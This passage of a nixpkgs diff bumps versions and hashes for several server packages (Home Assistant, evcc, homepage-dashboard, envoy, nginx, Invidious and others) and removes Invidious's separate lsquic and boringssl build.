in this package diff --git a/pkgs/servers/home-assistant/intents.nix b/pkgs/servers/home-assistant/intents.nix index 8bdd0542b9265..ddb576795880f 100644 --- a/pkgs/servers/home-assistant/intents.nix +++ b/pkgs/servers/home-assistant/intents.nix @@ -9,14 +9,14 @@ buildPythonPackage rec { pname = "home-assistant-intents"; - version = "2024.2.2"; + version = "2024.2.28"; format = "pyproject"; disabled = pythonOlder "3.9"; src = fetchPypi { inherit pname version; - hash = "sha256-Tb9ZZvs5Wyzm2TS5INUSua4Y3/2H+kHEhjpfYWJi+d0="; + hash = "sha256-EmnaYc+L1PHOv6M7odYDl+UBZkLJRtP86xPoqdbuOqU="; }; postPatch = '' diff --git a/pkgs/servers/home-assistant/parse-requirements.py b/pkgs/servers/home-assistant/parse-requirements.py index 436d1105b10de..5ff1510f23517 100755 --- a/pkgs/servers/home-assistant/parse-requirements.py +++ b/pkgs/servers/home-assistant/parse-requirements.py @@ -315,6 +315,6 @@ def main() -> None: if __name__ == "__main__": run_sync(["pyright", __file__]) - run_sync(["ruff", "--ignore=E501", __file__]) + run_sync(["ruff", "check", "--ignore=E501", __file__]) run_sync(["isort", __file__]) main() diff --git a/pkgs/servers/home-assistant/patches/ffmpeg-path.patch b/pkgs/servers/home-assistant/patches/ffmpeg-path.patch index 8a83618b1a4b4..5417c64f13eac 100644 --- a/pkgs/servers/home-assistant/patches/ffmpeg-path.patch +++ b/pkgs/servers/home-assistant/patches/ffmpeg-path.patch @@ -1,8 +1,8 @@ diff --git a/homeassistant/components/ffmpeg/__init__.py b/homeassistant/components/ffmpeg/__init__.py -index a98766c78c..1c47bb1f80 100644 +index 4ab4ee32a0..0f04f037f6 100644 --- a/homeassistant/components/ffmpeg/__init__.py +++ b/homeassistant/components/ffmpeg/__init__.py -@@ -41,7 +41,7 @@ CONF_FFMPEG_BIN = "ffmpeg_bin" +@@ -46,7 +46,7 @@ CONF_FFMPEG_BIN = "ffmpeg_bin" CONF_EXTRA_ARGUMENTS = "extra_arguments" CONF_OUTPUT = "output" @@ -70,15 +70,15 @@ index 6eec115d6f..c55b4fb26c 100644 hass.bus.async_fire(EVENT_HOMEASSISTANT_START) diff --git a/tests/components/ffmpeg/test_init.py b/tests/components/ffmpeg/test_init.py -index 0c6ce300d0..ff74a5d7f7 100644 +index 452a818859..41ba776436 100644 --- a/tests/components/ffmpeg/test_init.py +++ b/tests/components/ffmpeg/test_init.py -@@ -91,7 +91,7 @@ class TestFFmpegSetup: +@@ -81,7 +81,7 @@ def test_setup_component(): with assert_setup_component(1): - setup_component(self.hass, ffmpeg.DOMAIN, {ffmpeg.DOMAIN: {}}) + setup_component(hass, ffmpeg.DOMAIN, {ffmpeg.DOMAIN: {}}) + +- assert hass.data[ffmpeg.DATA_FFMPEG].binary == "ffmpeg" ++ assert hass.data[ffmpeg.DATA_FFMPEG].binary == "@ffmpeg@" + hass.stop() -- assert self.hass.data[ffmpeg.DATA_FFMPEG].binary == "ffmpeg" -+ assert self.hass.data[ffmpeg.DATA_FFMPEG].binary == "@ffmpeg@" - def test_setup_component_test_service(self): - """Set up ffmpeg component test services.""" diff --git a/pkgs/servers/home-assistant/stubs.nix b/pkgs/servers/home-assistant/stubs.nix index 536dce6652a7e..dc9cbd9e8d3c1 100644 --- a/pkgs/servers/home-assistant/stubs.nix +++ b/pkgs/servers/home-assistant/stubs.nix @@ -8,7 +8,7 @@ buildPythonPackage rec { pname = "homeassistant-stubs"; - version = "2024.2.1"; + version = "2024.3.0"; format = "pyproject"; disabled = python.version != home-assistant.python.version; @@ -17,7 +17,7 @@ buildPythonPackage rec { owner = "KapJI"; repo = "homeassistant-stubs"; rev = "refs/tags/${version}"; - hash = "sha256-1a2iwyRyXOD8iaTzdnEGfwCgw6dU2bV1iWpoD7s35QI="; + hash = "sha256-4K/JrmNcvRzso9NgFuh3fThcEQS+Ydk4II6xrWv2KdM="; }; nativeBuildInputs = [ diff --git a/pkgs/servers/home-assistant/tests.nix b/pkgs/servers/home-assistant/tests.nix index 3cce799ec19a4..989bfccb7236d 100644 --- a/pkgs/servers/home-assistant/tests.nix +++ b/pkgs/servers/home-assistant/tests.nix @@ -82,6 +82,11 @@ let # aioserial mock produces wrong state "--deselect tests/components/modem_callerid/test_init.py::test_setup_entry" ]; + velux = [ + # uses unmocked sockets + "--deselect tests/components/velux/test_config_flow.py::test_user_success" + "--deselect tests/components/velux/test_config_flow.py::test_import_valid_config" + ]; }; in lib.listToAttrs (map (component: lib.nameValuePair component ( home-assistant.overridePythonAttrs (old: { diff --git a/pkgs/servers/home-assistant/update.py b/pkgs/servers/home-assistant/update.py index 30b371e0686dd..c0c3cfdef9938 100755 --- a/pkgs/servers/home-assistant/update.py +++ b/pkgs/servers/home-assistant/update.py @@ -258,6 +258,6 @@ async def main(): if __name__ == "__main__": run_sync(["pyright", __file__]) - run_sync(["ruff", "--ignore=E501", __file__]) + run_sync(["ruff", "check", "--ignore=E501", __file__]) run_sync(["isort", __file__]) asyncio.run(main()) diff --git a/pkgs/servers/home-automation/evcc/default.nix b/pkgs/servers/home-automation/evcc/default.nix index 943286fa7a79e..baf1c81c98544 100644 --- a/pkgs/servers/home-automation/evcc/default.nix +++ b/pkgs/servers/home-automation/evcc/default.nix @@ -1,9 +1,9 @@ { lib -, buildGoModule +, buildGo122Module , fetchFromGitHub , fetchNpmDeps , cacert -, go +, go_1_22 , git , enumer , mockgen @@ -14,22 +14,27 @@ , stdenv }: +let + buildGoModule = buildGo122Module; + go = go_1_22; +in + buildGoModule rec { pname = "evcc"; - version = "0.124.0"; + version = "0.124.6"; src = fetchFromGitHub { owner = "evcc-io"; repo = "evcc"; rev = version; - hash = "sha256-x6BsW4INahGFbFNprE1mZjlW/EoEMZgDIJACd9F+g6A="; + hash = "sha256-mZSJ8RKO2olPsbxuVyAFCyvgxkth4XatRXwaQQ0z/Do="; }; - vendorHash = "sha256-/TlbjyKGpVqkQAStx8QaAxpWsVYs0yxBMantqelYkhw="; + vendorHash = "sha256-tu1rV5TWAOHidnDvjsyqFady8TrnPOoAoEEDugYYwLM="; npmDeps = fetchNpmDeps { inherit src; - hash = "sha256-Tl08gscv8WaMG4XfIVUWqj76xICWwUTBDK0VSs2kwMk="; + hash = "sha256-Uu1idwI3zRQmu2xBrbMcFBmJuO/z+N5+6eSRK+n1pg8="; }; nativeBuildInputs = [ diff --git a/pkgs/servers/homepage-dashboard/default.nix b/pkgs/servers/homepage-dashboard/default.nix index fe1575000a2f0..6f0a94500ef0c 100644 --- a/pkgs/servers/homepage-dashboard/default.nix +++ b/pkgs/servers/homepage-dashboard/default.nix @@ -9,8 +9,23 @@ , fetchpatch , makeBinaryWrapper , nixosTests +, enableLocalIcons ? false }: +let + dashboardIcons = fetchFromGitHub { + owner = "walkxcode"; + repo = "dashboard-icons"; + rev = "a02a5999fe56948671721da8b0830cdd5b609ed7"; # Until 2024-02-25 + hash = "sha256-s0Doh4j6CH66fZoQKMt4yc7aLStNFGMVoDp5dvs7+pk="; + }; + installLocalIcons = '' + mkdir -p $out/share/homepage/public/icons + cp ${dashboardIcons}/png/* $out/share/homepage/public/icons + cp ${dashboardIcons}/svg/* $out/share/homepage/public/icons + cp ${dashboardIcons}/LICENSE $out/share/homepage/public/icons/ + ''; +in buildNpmPackage rec { pname = "homepage-dashboard"; version = "0.8.8"; @@ -24,6 +39,20 @@ buildNpmPackage rec { npmDepsHash = "sha256-u15lDdXnV3xlXAC9WQQKLIeV/AgtRM1sFNsacw3j6kU="; + # This project is primarily designed to be consumed through Docker. + # By default it logs to stdout, and also to a directory. This makes + # little sense here where all the logs will be collated in the + # systemd journal anyway, so the patch removes the file logging. + # This patch has been suggested upstream, but the contribution won't + # be accepted until it gets at least 10 upvotes, per their policy: + # https://github.com/gethomepage/homepage/discussions/3067 + patches = [ + (fetchpatch { + url = "https://github.com/gethomepage/homepage/commit/3be28a2c8b68f2404e4083e7f32eebbccdc4d293.patch"; + hash = "sha256-5fUOXiHBZ4gdPeOHe1NIaBLaHJTDImsRjSwtueQOEXY="; + }) + ]; + preBuild = '' mkdir -p config ''; @@ -49,20 +78,22 @@ buildNpmPackage rec { installPhase = '' runHook preInstall - mkdir -p $out - cp -r .next/standalone $out/bin - cp -r public $out/bin/public + mkdir -p $out/{share,bin} + + cp -r .next/standalone $out/share/homepage/ + cp -r public $out/share/homepage/public - mkdir -p $out/bin/.next - cp -r .next/static $out/bin/.next/static + mkdir -p $out/share/homepage/.next + cp -r .next/static $out/share/homepage/.next/static - mv $out/bin/server.js $out/bin/homepage - chmod +x $out/bin/homepage + chmod +x $out/share/homepage/server.js - wrapProgram $out/bin/homepage \ + makeWrapper $out/share/homepage/server.js $out/bin/homepage \ --set-default PORT 3000 \ --set-default HOMEPAGE_CONFIG_DIR /var/lib/homepage-dashboard + ${if enableLocalIcons then installLocalIcons else ""} + runHook postInstall ''; diff --git a/pkgs/servers/honk/default.nix b/pkgs/servers/honk/default.nix index 3dfbdeaaf8cd2..92923c255e856 100644 --- a/pkgs/servers/honk/default.nix +++ b/pkgs/servers/honk/default.nix @@ -8,11 +8,11 @@ buildGoModule rec { pname = "honk"; - version = "1.2.1"; + version = "1.2.3"; src = fetchurl { url = "https://humungus.tedunangst.com/r/honk/d/honk-${version}.tgz"; - hash = "sha256-adBbJG45md7wUGzqYKA06RXzXul3Ltncrtz2eN4Ezqo="; + hash = "sha256-fexremJlsTfvvEDzihNk6P92mtEOAhUGgydHtA+tHsM="; }; vendorHash = null; diff --git a/pkgs/servers/http/angie/console-light.nix b/pkgs/servers/http/angie/console-light.nix index c39a2001c16c8..c4772205a5c74 100644 --- a/pkgs/servers/http/angie/console-light.nix +++ b/pkgs/servers/http/angie/console-light.nix @@ -6,12 +6,12 @@ }: stdenv.mkDerivation rec { - version = "1.1.1"; + version = "1.2.1"; pname = "angie-console-light"; src = fetchurl { url = "https://download.angie.software/files/${pname}/${pname}-${version}.tar.gz"; - hash = "sha256-Teg+EPl4IvmScTTX3F3rdM6qZ3ztFkMks9oo2B1xHTs="; + hash = "sha256-bwnVwhcPyEXGzvpXj2bC1WUGtNbBlHpqZibApKtESq8="; }; outputs = [ "out" "doc" ]; diff --git a/pkgs/servers/http/angie/default.nix b/pkgs/servers/http/angie/default.nix index 5c8f2ad7c699d..233298053b2e0 100644 --- a/pkgs/servers/http/angie/default.nix +++ b/pkgs/servers/http/angie/default.nix @@ -9,12 +9,12 @@ }@args: callPackage ../nginx/generic.nix args rec { - version = "1.4.0"; + version = "1.4.1"; pname = if withQuic then "angieQuic" else "angie"; src = fetchurl { url = "https://download.angie.software/files/angie-${version}.tar.gz"; - hash = "sha256-gaQsPwoxtt6oVSDX1JCWvyUwDQaNprya79CCwu4z8b4="; + hash = "sha256-g6PyuyulnltnZJWiZ01iYG1k6Lz5nO+gneb8M4q3WHo="; }; configureFlags = lib.optional withQuic [ diff --git a/pkgs/servers/http/bozohttpd/default.nix b/pkgs/servers/http/bozohttpd/default.nix index 038548bb16fa0..0aad8168ffa8f 100644 --- a/pkgs/servers/http/bozohttpd/default.nix +++ b/pkgs/servers/http/bozohttpd/default.nix @@ -22,13 +22,13 @@ let inherit (lib) optional optionals; in stdenv.mkDerivation rec { pname = "bozohttpd"; - version = "20220517"; + version = "20240126"; # bozohttpd is developed in-tree in pkgsrc, canonical hashes can be found at: # http://cvsweb.netbsd.org/bsdweb.cgi/pkgsrc/www/bozohttpd/distinfo src = fetchurl { url = "http://eterna23.net/${pname}/${pname}-${version}.tar.bz2"; - hash = "sha512-J1uPqzzy5sWXIWgsrpUtuV2lvTsfIGgCQMbPEClGNpP2/soEf77146PnUotAt7LoeypW/YALYS5nmhbySJDltg=="; + hash = "sha512-fr1PnyYAS3wkpmj/npRC3A87UL9LIXw4thlM4GfrtlJbuX5EkWGVJnHJW/EmYp7z+N91dcdRJgdO79l6WJsKpg=="; }; buildInputs = [ openssl libxcrypt ] ++ optional (luaSupport) lua; diff --git a/pkgs/servers/http/darkhttpd/default.nix b/pkgs/servers/http/darkhttpd/default.nix index 57e1f8f1635cb..a0678299ac9c3 100644 --- a/pkgs/servers/http/darkhttpd/default.nix +++ b/pkgs/servers/http/darkhttpd/default.nix @@ -5,13 +5,13 @@ stdenv.mkDerivation rec { pname = "darkhttpd"; - version = "1.15"; + version = "1.16"; src = fetchFromGitHub { owner = "emikulic"; repo = pname; rev = "v${version}"; - sha256 = "sha256-G1lh3nHo2iU/dkiBykl5+DSIC2c6SCqqv42Bw0Frz3A="; + sha256 = "sha256-dcNoGU08tu950PlwSghoZwGSaSbP8NJ5qhWUi3bAtZY="; }; enableParallelBuilding = true; diff --git a/pkgs/servers/http/envoy/default.nix b/pkgs/servers/http/envoy/default.nix index 87379c4d7df19..9a50c3063eb32 100644 --- a/pkgs/servers/http/envoy/default.nix +++ b/pkgs/servers/http/envoy/default.nix @@ -25,15 +25,15 @@ let # However, the version string is more useful for end-users. # These are contained in a attrset of their own to make it obvious that # people should update both. - version = "1.27.2"; - rev = "ae07f9a11715245f7d25d2a13699c260c2ae8ebb"; - hash = "sha256-VgP3st26Wkx51tTM++tKAZX7+BmPGgy1MIJFGLDu4JU="; + version = "1.27.3"; + rev = "0fd81ee7ffcd7cfc864094b24dc9b5c3ade89ff2"; + hash = "sha256-WNyyUw3517oKqMd1sJMk9CiLa/V7UrhwlRS+AWNNOOo="; }; # these need to be updated for any changes to fetchAttrs depsHash = { - x86_64-linux = "sha256-389CaxJ3F66eMID7+KgwzCdlT2QPOTkKPLnqpmM49ig="; - aarch64-linux = "sha256-ui7AUzWouAn2DZ7kUpp1huNxPGBqzKXqtwcuRZUhmqo="; + x86_64-linux = "sha256-wTGHfeFkCuijPdX//lT5GPspaxZsxzBHJffH1tpVM2w="; + aarch64-linux = "sha256-9/Wem+Gk/7bFeMNFC4J3mdTm3mrNmyMxiu5oadQcovU="; }.${stdenv.system} or (throw "unsupported system ${stdenv.system}"); in buildBazelPackage { @@ -70,7 +70,7 @@ buildBazelPackage { # use system C/C++ tools ./0003-nixpkgs-use-system-C-C-toolchains.patch - # bump proxy-wasm-cpp-host until > 1.27.2/1.28.0 + # bump proxy-wasm-cpp-host until > 1.27.3/1.28.0 (fetchpatch { url = "https://github.com/envoyproxy/envoy/pull/31451.patch"; hash = "sha256-n8k7bho3B8Gm0dJbgf43kU7ymvo15aGJ2Twi2xR450g="; @@ -191,6 +191,7 @@ buildBazelPackage { meta = with lib; { homepage = "https://envoyproxy.io"; + changelog = "https://github.com/envoyproxy/envoy/releases/tag/v${version}"; description = "Cloud-native edge and service proxy"; license = licenses.asl20; maintainers = with maintainers; [ lukegb ]; diff --git a/pkgs/servers/http/lighttpd/default.nix b/pkgs/servers/http/lighttpd/default.nix index 7f457108f8e6a..45dadae35567d 100644 --- a/pkgs/servers/http/lighttpd/default.nix +++ b/pkgs/servers/http/lighttpd/default.nix @@ -15,11 +15,11 @@ stdenv.mkDerivation rec { pname = "lighttpd"; - version = "1.4.73"; + version = "1.4.74"; src = fetchurl { url = "https://download.lighttpd.net/lighttpd/releases-${lib.versions.majorMinor version}.x/${pname}-${version}.tar.xz"; - sha256 = "sha256-gYgW0LMUsKqHKKcHZRNDX21esifzthMjRo4fENvoTKg="; + sha256 = "sha256-XAhzboMIj34Bl5cVnzBuiOxymr6XbcmPs77XG50+U7U="; }; postPatch = '' diff --git a/pkgs/servers/http/merecat/default.nix b/pkgs/servers/http/merecat/default.nix index b655381a08195..6231fb9e2ad2c 100644 --- a/pkgs/servers/http/merecat/default.nix +++ b/pkgs/servers/http/merecat/default.nix @@ -10,15 +10,15 @@ , nixosTests }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "merecat"; version = "2.31"; - # Or, already reconf'd: ftp://ftp.troglobit.com/merecat/merecat-${version}.tar.xz + # Or, already reconf'd: ftp://ftp.troglobit.com/merecat/merecat-${finalAttrs.version}.tar.xz src = fetchFromGitHub { owner = "troglobit"; repo = "merecat"; - rev = "v${version}"; + rev = "v${finalAttrs.version}"; hash = "sha256-oIzOXUnCFqd3HPyKp58r+enRRpaE7f9hqNITtxCCB7I="; }; @@ -49,4 +49,4 @@ stdenv.mkDerivation rec { # Strange header and/or linker errors broken = stdenv.isDarwin; }; -} +}) diff --git a/pkgs/servers/http/nginx/mainline.nix b/pkgs/servers/http/nginx/mainline.nix index 39877f115d8ca..ddb9c14740bb0 100644 --- a/pkgs/servers/http/nginx/mainline.nix +++ b/pkgs/servers/http/nginx/mainline.nix @@ -1,6 +1,6 @@ { callPackage, ... }@args: callPackage ./generic.nix args { - version = "1.25.3"; - hash = "sha256-ZMW5dcooeTnoKDA/qFfSLxQrJR8XgI3+QXM1EtnN7YY="; + version = "1.25.4"; + hash = "sha256-dgcpkBrLqlF5luaB7m6iWQMpheN8J2i+74DfOod97tk="; } diff --git a/pkgs/servers/http/unit/default.nix b/pkgs/servers/http/unit/default.nix index 6f75352796cdd..d6c17dfb885fd 100644 --- a/pkgs/servers/http/unit/default.nix +++ b/pkgs/servers/http/unit/default.nix @@ -28,14 +28,14 @@ let php82-unit = php82.override phpConfig; in stdenv.mkDerivation rec { - version = "1.31.1"; + version = "1.32.0"; pname = "unit"; src = fetchFromGitHub { owner = "nginx"; repo = pname; rev = version; - sha256 = "sha256-6hecOCEC2MeJJieOOamEf8ytpEVAGs5mB0H16lJDciU="; + sha256 = "sha256-u693Q6Gp8lFm3DX1q5i6W021bxD962NGBGDRxUtvGrk="; }; nativeBuildInputs = [ which ]; diff --git a/pkgs/servers/invidious/default.nix b/pkgs/servers/invidious/default.nix index 0b1cea5fd689a..3f5bb42a48f2a 100644 --- a/pkgs/servers/invidious/default.nix +++ b/pkgs/servers/invidious/default.nix @@ -1,11 +1,11 @@ -{ lib, stdenv, crystal, fetchFromGitea, librsvg, pkg-config, libxml2, openssl, shards, sqlite, lsquic, videojs, nixosTests }: +{ lib, stdenv, crystal, fetchFromGitea, librsvg, pkg-config, libxml2, openssl, shards, sqlite, videojs, nixosTests }: let # All versions, revisions, and checksums are stored in ./versions.json. # The update process is the following: # * pick the latest commit - # * update .invidious.rev, .invidious.version, and .invidious.sha256 + # * update .invidious.rev, .invidious.version, and .invidious.hash # * prefetch the videojs dependencies with scripts/fetch-player-dependencies.cr - # and update .videojs.sha256 (they are normally fetched during build + # and update .videojs.hash (they are normally fetched during build # but nix's sandboxing does not allow that) # * if shard.lock changed # * recreate shards.nix by running crystal2nix @@ -23,7 +23,7 @@ crystal.buildCrystalPackage rec { owner = "iv-org"; repo = pname; fetchSubmodules = true; - inherit (versions.invidious) rev sha256; + inherit (versions.invidious) rev hash; }; postPatch = @@ -45,7 +45,7 @@ crystal.buildCrystalPackage rec { substituteInPlace src/invidious.cr \ --replace ${lib.escapeShellArg branchTemplate} '"master"' \ --replace ${lib.escapeShellArg commitTemplate} '"${lib.substring 0 7 versions.invidious.rev}"' \ - --replace ${lib.escapeShellArg versionTemplate} '"${lib.replaceStrings ["-"] ["."] (lib.substring 9 10 version)}"' \ + --replace ${lib.escapeShellArg versionTemplate} '"${lib.concatStringsSep "." (lib.drop 2 (lib.splitString "-" version))}"' \ --replace ${lib.escapeShellArg assetCommitTemplate} '"${lib.substring 0 7 versions.invidious.rev}"' # Patch the assets and locales paths to be absolute @@ -75,20 +75,9 @@ crystal.buildCrystalPackage rec { "--verbose" "--no-debug" "-Dskip_videojs_download" - "-Ddisable_quic" ]; }; - postConfigure = '' - # lib includes nix store paths which can’t be patched, so the links have to - # be dereferenced first. - cp -rL lib lib2 - rm -r lib - mv lib2 lib - chmod +w -R lib - cp ${lsquic}/lib/liblsquic.a lib/lsquic/src/lsquic/ext - ''; - postInstall = '' mkdir -p $out/share/invidious/config @@ -102,15 +91,16 @@ crystal.buildCrystalPackage rec { # environment variable. Even though the database and hmac_key are # bogus, --help still works. installCheckPhase = '' - INVIDIOUS_CONFIG="$(cat <<EOF + export INVIDIOUS_CONFIG="$(cat <<EOF database_url: sqlite3:///dev/null hmac_key: "this-is-required" EOF - )" $out/bin/invidious --help + )" + $out/bin/invidious --help + $out/bin/invidious --version ''; passthru = { - inherit lsquic; tests = { inherit (nixosTests) invidious; }; updateScript = ./update.sh; }; diff --git a/pkgs/servers/invidious/lsquic.nix b/pkgs/servers/invidious/lsquic.nix deleted file mode 100644 index 9c88ae004aabc..0000000000000 --- a/pkgs/servers/invidious/lsquic.nix +++ /dev/null @@ -1,133 +0,0 @@ -{ lib, boringssl, stdenv, fetchgit, fetchFromGitHub, fetchurl, cmake, zlib, perl, libevent }: -let - versions = lib.importJSON ./versions.json; - - fetchGitilesPatch = { name, url, sha256 }: - fetchurl { - url = "${url}%5E%21?format=TEXT"; - inherit name sha256; - downloadToTemp = true; - postFetch = '' - base64 -d < $downloadedFile > $out - ''; - }; - - # lsquic requires a specific boringssl version (noted in its README) - boringssl' = boringssl.overrideAttrs ({ preBuild, ... }: { - version = versions.boringssl.rev; - src = fetchgit { - url = "https://boringssl.googlesource.com/boringssl"; - inherit (versions.boringssl) rev sha256; - }; - - patches = [ - # Use /etc/ssl/certs/ca-certificates.crt instead of /etc/ssl/cert.pem - ./use-etc-ssl-certs.patch - - # because lsquic requires that specific boringssl version and that - # version does not yet include fixes for gcc11 build errors, they - # must be backported - (fetchGitilesPatch { - name = "fix-mismatch-between-header-and-implementation-of-bn_sqr_comba8.patch"; - url = "https://boringssl.googlesource.com/boringssl/+/139adff9b27eaf0bdaac664ec4c9a7db2fe3f920"; - sha256 = "05sp602dvh50v46jkzmh4sf4wqnq5bwy553596g2rhxg75bailjj"; - }) - (fetchGitilesPatch { - name = "use-an-unsized-helper-for-truncated-SHA-512-variants.patch"; - url = "https://boringssl.googlesource.com/boringssl/+/a24ab549e6ae246b391155d7bed3790ac0e07de2"; - sha256 = "0483jkpg4g64v23ln2blb74xnmzdjcn3r7w4zk7nfg8j3q5f9lxm"; - }) -/* - # the following patch is too complex, so we will modify the build flags - # of crypto/fipsmodule/CMakeFiles/fipsmodule.dir/bcm.c.o in preBuild - # and turn off -Werror=stringop-overflow - (fetchGitilesPatch { - name = "make-md32_common.h-single-included-and-use-an-unsized-helper-for-SHA-256.patch"; - url = "https://boringssl.googlesource.com/boringssl/+/597ffef971dd980b7de5e97a0c9b7ca26eec94bc"; - sha256 = "1y0bkkdf1ccd6crx326agp01q22clm4ai4p982y7r6dkmxmh52qr"; - }) -*/ - (fetchGitilesPatch { - name = "fix-array-parameter-warnings.patch"; - url = "https://boringssl.googlesource.com/boringssl/+/92c6fbfc4c44dc8462d260d836020d2b793e7804"; - sha256 = "0h4sl95i8b0dj0na4ngf50wg54raxyjxl1zzwdc810abglp10vnv"; - }) - ]; - - preBuild = preBuild + lib.optionalString stdenv.isLinux '' - sed -e '/^build crypto\/fipsmodule\/CMakeFiles\/fipsmodule\.dir\/bcm\.c\.o:/,/^ *FLAGS =/ s/^ *FLAGS = -Werror/& -Wno-error=stringop-overflow/' \ - -i build.ninja - '' + lib.optionalString stdenv.cc.isGNU '' - # Silence warning that causes build failures with GCC. - sed -e '/^build ssl\/test\/CMakeFiles\/bssl_shim\.dir\/settings_writer\.cc\.o:/,/^ *FLAGS =/ s/^ *FLAGS = -Werror/& -Wno-error=ignored-attributes/' \ - -e '/^build ssl\/test\/CMakeFiles\/handshaker\.dir\/settings_writer\.cc\.o:/,/^ *FLAGS =/ s/^ *FLAGS = -Werror/& -Wno-error=ignored-attributes/' \ - -i build.ninja - '' + lib.optionalString stdenv.cc.isClang ( - # Silence warnings that cause build failures with newer versions of clang. - let - clangVersion = lib.getVersion stdenv.cc; - in - lib.optionalString (lib.versionAtLeast clangVersion "13") '' - sed -e '/^build crypto\/CMakeFiles\/crypto\.dir\/x509\/t_x509\.c\.o:/,/^ *FLAGS =/ s/^ *FLAGS = -Werror/& -Wno-error=unused-but-set-variable/' \ - -e '/^build tool\/CMakeFiles\/bssl\.dir\/digest\.cc\.o:/,/^ *FLAGS =/ s/^ *FLAGS = -Werror/& -Wno-error=unused-but-set-variable/' \ - -i build.ninja - '' + lib.optionalString (lib.versionAtLeast clangVersion "16") '' - sed -e '/^build crypto\/CMakeFiles\/crypto\.dir\/trust_token\/trust_token\.c\.o:/,/^ *FLAGS =/ s/^ *FLAGS = -Werror/& -Wno-error=single-bit-bitfield-constant-conversion/' \ - -i build.ninja - '' - ); - }); -in -stdenv.mkDerivation rec { - pname = "lsquic"; - version = versions.lsquic.version; - - src = fetchFromGitHub { - owner = "litespeedtech"; - repo = pname; - rev = "v${version}"; - inherit (versions.lsquic) sha256; - fetchSubmodules = true; - }; - - postPatch = '' - substituteInPlace CMakeLists.txt \ - --replace ".so" "${stdenv.hostPlatform.extensions.sharedLibrary}" - ''; - - nativeBuildInputs = [ cmake perl ]; - buildInputs = [ boringssl' libevent zlib ]; - - cmakeFlags = [ - "-DBORINGSSL_DIR=${lib.getDev boringssl'}" - "-DBORINGSSL_LIB_crypto=${lib.getLib boringssl'}/lib/libcrypto.a" - "-DBORINGSSL_LIB_ssl=${lib.getLib boringssl'}/lib/libssl.a" - "-DZLIB_LIB=${zlib}/lib/libz.so" - ]; - - # adapted from lsquic.cr’s Dockerfile - # (https://github.com/iv-org/lsquic.cr/blob/master/docker/Dockerfile) - installPhase = '' - runHook preInstall - - mkdir combinedlib - cd combinedlib - ar -x ${lib.getLib boringssl'}/lib/libssl.a - ar -x ${lib.getLib boringssl'}/lib/libcrypto.a - ar -x ../src/liblsquic/liblsquic.a - ar rc liblsquic.a *.o - ranlib liblsquic.a - install -D liblsquic.a $out/lib/liblsquic.a - - runHook postInstall - ''; - - passthru.boringssl = boringssl'; - - meta = with lib; { - description = "A library for QUIC and HTTP/3 (version for Invidious)"; - homepage = "https://github.com/litespeedtech/lsquic"; - maintainers = with maintainers; [ infinisil sbruder ]; - license = with licenses; [ openssl isc mit bsd3 ]; # statically links against boringssl, so has to include its licenses - }; -} diff --git a/pkgs/servers/invidious/shards.nix b/pkgs/servers/invidious/shards.nix index e5f297d902c0d..8e38d563be204 100644 --- a/pkgs/servers/invidious/shards.nix +++ b/pkgs/servers/invidious/shards.nix @@ -1,80 +1,62 @@ { + ameba = { + url = "https://github.com/crystal-ameba/ameba.git"; + rev = "v1.5.0"; + sha256 = "1idivsbpmi40aqvs82fsv37nrgikirprxrj3ls9chsb876fq9p2d"; + }; athena-negotiation = { - owner = "athena-framework"; - repo = "negotiation"; + url = "https://github.com/athena-framework/negotiation.git"; rev = "v0.1.1"; sha256 = "1vkk59lqrxb0l8kyzs114i3c18zb2bdiah2xhazkk8q7x6fz4yzk"; }; backtracer = { - owner = "sija"; - repo = "backtracer.cr"; + url = "https://github.com/sija/backtracer.cr.git"; rev = "v1.2.1"; sha256 = "02r1l7rn2wsljkx495s5s7j04zgn73m2kx0hkzs7620camvlwbqq"; }; db = { - owner = "crystal-lang"; - repo = "crystal-db"; + url = "https://github.com/crystal-lang/crystal-db.git"; rev = "v0.10.1"; sha256 = "03c5h14z6h2mxnx949lihnyqjd19hcj38iasdwq9fp95h8cld376"; }; exception_page = { - owner = "crystal-loot"; - repo = "exception_page"; + url = "https://github.com/crystal-loot/exception_page.git"; rev = "v0.2.2"; sha256 = "1c8askb9b7621jjz5pjj6b8pdbhw3r1l3dym6swg1saspf5j3jwi"; }; kemal = { - owner = "kemalcr"; - repo = "kemal"; + url = "https://github.com/kemalcr/kemal.git"; rev = "v1.1.2"; sha256 = "1149q4qw0zrws5asqqr4snrdi67xsmisdcq58zcrbgqgsxgly9d0"; }; kilt = { - owner = "jeromegn"; - repo = "kilt"; + url = "https://github.com/jeromegn/kilt.git"; rev = "v0.6.1"; sha256 = "0dpc15y9m8c5l9zdfif6jlf7zmkrlm9w4m2igi5xa22fdjwamwfp"; }; - lsquic = { - owner = "iv-org"; - repo = "lsquic.cr"; - rev = "v2.18.1-2"; - sha256 = "0bljk0pwbjb813dfwrhgi00w2ai09k868xvak4hfzdkbmpc7id6y"; - }; pg = { - owner = "will"; - repo = "crystal-pg"; + url = "https://github.com/will/crystal-pg.git"; rev = "v0.24.0"; sha256 = "07i5bqkv5j6y6f8v5cpqdxc5wzzrvgv3ds24znv4mzv6nc84csn4"; }; protodec = { - owner = "iv-org"; - repo = "protodec"; - rev = "v0.1.4"; - sha256 = "15azh9izxqgwpgkpicmivfdz31wkibnwy09rwhxsg0lyc4wf8xj9"; + url = "https://github.com/iv-org/protodec.git"; + rev = "v0.1.5"; + sha256 = "09cm36skv2mxqrlczp0j1g7cf8wsfdqr8q39nxyj3ggc3yadp8bc"; }; radix = { - owner = "luislavena"; - repo = "radix"; + url = "https://github.com/luislavena/radix.git"; rev = "v0.4.1"; sha256 = "1l08cydkdidq9yyil1wl240hvk41iycv04jrg6nx5mkvzw4z1bzg"; }; spectator = { - owner = "icy-arctic-fox"; - repo = "spectator"; + url = "https://github.com/icy-arctic-fox/spectator.git"; rev = "v0.10.4"; sha256 = "0rcxq2nbslvwrd8m9ajw6dzaw3hagxmkdy9s8p34cgnr4c9dijdq"; }; sqlite3 = { - owner = "crystal-lang"; - repo = "crystal-sqlite3"; + url = "https://github.com/crystal-lang/crystal-sqlite3.git"; rev = "v0.18.0"; sha256 = "03nnvpchhq9f9ywsm3pk2rrj4a3figw7xs96zdziwgr5znkz6x93"; }; - ameba = { - owner = "crystal-ameba"; - repo = "ameba"; - rev = "v0.14.3"; - sha256 = "1cfr95xi6hsyxw1wlrh571hc775xhwmssk3k14i8b7dgbwfmm5x1"; - }; } diff --git a/pkgs/servers/invidious/update.sh b/pkgs/servers/invidious/update.sh index d7302e16bfbd4..82c8186bebc48 100755 --- a/pkgs/servers/invidious/update.sh +++ b/pkgs/servers/invidious/update.sh @@ -35,13 +35,14 @@ 